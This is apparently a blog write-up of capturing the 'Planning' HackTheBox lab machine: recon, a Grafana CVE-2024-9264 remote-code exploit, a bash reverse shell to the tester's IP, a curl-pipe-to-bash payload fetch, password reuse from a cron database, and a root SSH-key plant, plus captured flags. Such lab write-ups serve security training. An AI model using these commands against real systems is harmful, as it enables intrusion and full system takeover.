HackTheBox | Planning

In this walkthrough, I demonstrate how I obtained complete ownership of Planning on HackTheBox
In: HackTheBox, Attack, CTF, Linux, Easy Challenge
Owned Planning from Hack The Box!
I have just owned machine Planning from Hack The Box

Nmap Results

# Nmap 7.95 scan initiated Mon May 12 11:43:18 2025 as: /usr/lib/nmap/nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.129.176.246
Nmap scan report for 10.129.176.246
Host is up (0.017s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May 12 11:43:35 2025 -- 1 IP address (1 host up) scanned in 17.66 seconds
💡
Don't miss an opportunity to find some breadcrumbs and interesting information in the initial nmap scan output. Note the HTTP redirect to planning.htb in the tcp/80 output, which we should promptly add to our /etc/hosts file.
echo -e '10.129.176.246\t\tplanning.htb' | sudo tee -a /etc/hosts





Service Enumeration

TCP/80

Walking the Application

Walking the “happy path” · Pwning OWASP Juice Shop
ℹ️
We don't know anything about the web application at the moment, so for now, we'll just click around on the page; testing different links and putting expected inputs in any input fields. We just want to understand for now what certain things do.
Of the various aspects of the landing page, only the course enrollment feature seemed to work, so there's not much to interact with on this web app.

At this point, we've tested all of the clickable areas and input points that a normal user would be expected to use. Thus, we have concluded the initial walk of the application. Given the small attack surface of the web app, I'll be jumping right into the penetration test.



Penetration Testing

Brute Force Enumeration

gobuster dir -u http://planning.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -o dir.txt -t 100
/css                  (Status: 301) [Size: 178] [--> http://planning.htb/css/]
/img                  (Status: 301) [Size: 178] [--> http://planning.htb/img/]
/js                   (Status: 301) [Size: 178] [--> http://planning.htb/js/]
/lib                  (Status: 301) [Size: 178] [--> http://planning.htb/lib/]

Directories and/or files

gobuster vhost -u http://10.129.176.246 --domain 'planning.htb' --append-domain -w /usr/share/seclists/Discovery/DNS/namelist.txt -t 200 -o vhost.txt
Found: grafana.planning.htb Status: 302 [Size: 29] [--> /login]

Virtual Host(s)

curl -iL -H 'Host: grafana.planning.htb' --proxy http://127.0.0.1:8080 http://10.129.176.246

Proxy a curl request through Burp and test the virtual host

echo -e '10.129.176.246\t\tgrafana.planning.htb' | sudo tee -a /etc/hosts

Add the virtual host to our /etc/hosts file



Login with Supplied Credential

This machine is built to simulate a grey box penetration test. We have been provided the credential of admin:0D5oT70Fq13EvB5r. Using the provided credential, I am able to log in.

Grafana v11.0.0
Google Search

Google search I used to check for CVEs

GitHub - nollium/CVE-2024-9264: Exploit for Grafana arbitrary file-read and RCE (CVE-2024-9264)
Exploit for Grafana arbitrary file-read and RCE (CVE-2024-9264) - nollium/CVE-2024-9264





Exploit

CVE-2024-9264

git clone https://github.com/nollium/CVE-2024-9264
cd CVE-2024-9264
virtualenv .

Use a Python virtual environment to install dependencies while preserving the default environment

source ./bin/activate
python3 -m pip install -r requirements.txt
python3 CVE-2024-9264.py -h
python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'cat /etc/passwd' http://grafana.planning.htb
Executing hostname -I on the host, we are going to land in a Docker container
echo '/bin/bash -c '"'"'/bin/bash -i >& /dev/tcp/10.10.14.110/443 0>&1'"'"'' > rev.sh

Create a reverse shell script that we'll call via RCE. '"'"' helps nest single quotes within single quotes.

sudo python3 -m http.server 80

Host the rev.sh over HTTP

sudo rlwrap nc -lnvp 443

Start a TCP listener on tcp/443

python3 CVE-2024-9264.py -u admin -p '0D5oT70Fq13EvB5r' -c 'curl http://10.10.14.110/rev.sh | bash' http://grafana.planning.htb

Use RCE to curl our VPN IP and fetch rev.sh and then, pipe it to bash on the target





Post-Exploit Enumeration

Operating Environment

OS & Kernel

PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Linux 7ce659d667d7 6.8.0-59-generic #61-Ubuntu SMP PREEMPT_DYNAMIC Fri Apr 11 23:16:11 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux    

Current User

uid=0(root) gid=0(root) groups=0(root)    



Users and Groups

Local Users

grafana:x:472:0::/home/grafana:/usr/sbin/nologin    



Network Configurations

Network Interfaces

Docker Cotainer IP: 172.17.0.2    



Processes and Services

Interesting Processes

grafana server --homepath=/usr/share/grafana --config=/etc/grafana/grafana.ini --packaging=docker cfg:default.log.mode=console cfg:default.paths.data=/var/lib/grafana cfg:default.paths.logs=/var/log/grafana cfg:default.paths.plugins=/var/lib/grafana/plugins cfg:default.paths.provisioning=/etc/grafana/provisioning    





Privilege Escalation

Lateral to Enzo

Secrets in Docker Environment

I'd be very surprised if this isn't the SSH login
ssh enzo@planning.htb
💡
From here, we repeat the post-exploitation enumeration process
ss -plutan | grep -i listen | grep -E '127|::1'
tcp   LISTEN     0      4096             127.0.0.53%lo:53                  0.0.0.0:*           
tcp   LISTEN     0      511                  127.0.0.1:8000                0.0.0.0:*           
tcp   LISTEN     0      4096                 127.0.0.1:38701               0.0.0.0:*           
tcp   LISTEN     0      4096                 127.0.0.1:3000                0.0.0.0:*           
tcp   LISTEN     0      4096                127.0.0.54:53                  0.0.0.0:*           
tcp   LISTEN     0      151                  127.0.0.1:3306                0.0.0.0:*           
tcp   LISTEN     0      70                   127.0.0.1:33060               0.0.0.0:*

Internally listening ports

Poke around internally at the listening ports, tcp/8000 is a web server using HTTP basic auth
find /opt -exec ls -l {} \; 2>/dev/null
total 8
drwx--x--x 4 root root 4096 Feb 28 19:06 containerd
drwxr-xr-x 2 root root 4096 May 12 19:55 crontabs
total 4
-rw-r--r-- 1 root root 737 May 12 19:57 crontab.db
-rw-r--r-- 1 root root 737 May 12 19:57 /opt/crontabs/crontab.db

Interesting files



Port Forwarding with SSH

ℹ️
Looking at /etc/nginx/sites-enabled/default, I know that tcp/3000 is the port for Docker Grafana, so we'll skip that.
Port Forwarding with SSH | 0xBEN | Notes
Security Considerations Reverse Tunneling This will require you to establish a SSH connection fr…
ss -plutan | grep -i listen | grep -E '127|::1' | awk -v FS=' ' '{print $5}' | grep -vE '53|3000' | awk -v FS=':' '{print "-L 127.0.0.1:" $2 ":" $1 ":" $2 " \\" }'

Creates a list of -L port forwards using info on the target for ease of use with ssh

ssh -f -N -L 127.0.0.1:8000:127.0.0.1:8000 \
-L 127.0.0.1:38701:127.0.0.1:38701 \
-L 127.0.0.1:3306:127.0.0.1:3306 \
-L 127.0.0.1:33060:127.0.0.1:33060 \
enzo@planning.htb
Looks good
Looking at tcp/8000, we have a dashboard showing the cron jobs from before

I was able to login after a few simple guesses. You'll note in /opt/crontabs/crontab.db that there is a password baked into one of the cron jobs, so I assume there's a good chance the password is repeated on the HTTP basic authentication.

admin:P4ssw0rdS0pRi0T3c
root_grafana:P4ssw0rdS0pRi0T3c
root:P4ssw0rdS0pRi0T3c



Becoming Root

It should be obvious what the privilege escalation path is from here. We can create or edit cron jobs, which run as root, so we should be able to run any command we wish.

Create a new cron job with a custom command
/usr/bin/ssh-keygen -C "" -N "" -t rsa -b 4096 -f /tmp/pwnykey ; /usr/bin/chown enzo:enzo /tmp/pwnykey* ; /usr/bin/cat /tmp/pwnykey.pub > /root/.ssh/authorized_keys

Add as the command to run, generates a new SSH keypair, makes enzo the owner, and adds to /root/.ssh/authorized_keys

ssh -i /tmp/pwnykey root@localhost

Use the private key to login as root locally



Flags

User

7221c2205fc12b0c4bb0de4d3371e23b    

Root

bc094cb2de244fbbf5a86f9ff30f04f9    
Comments
More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.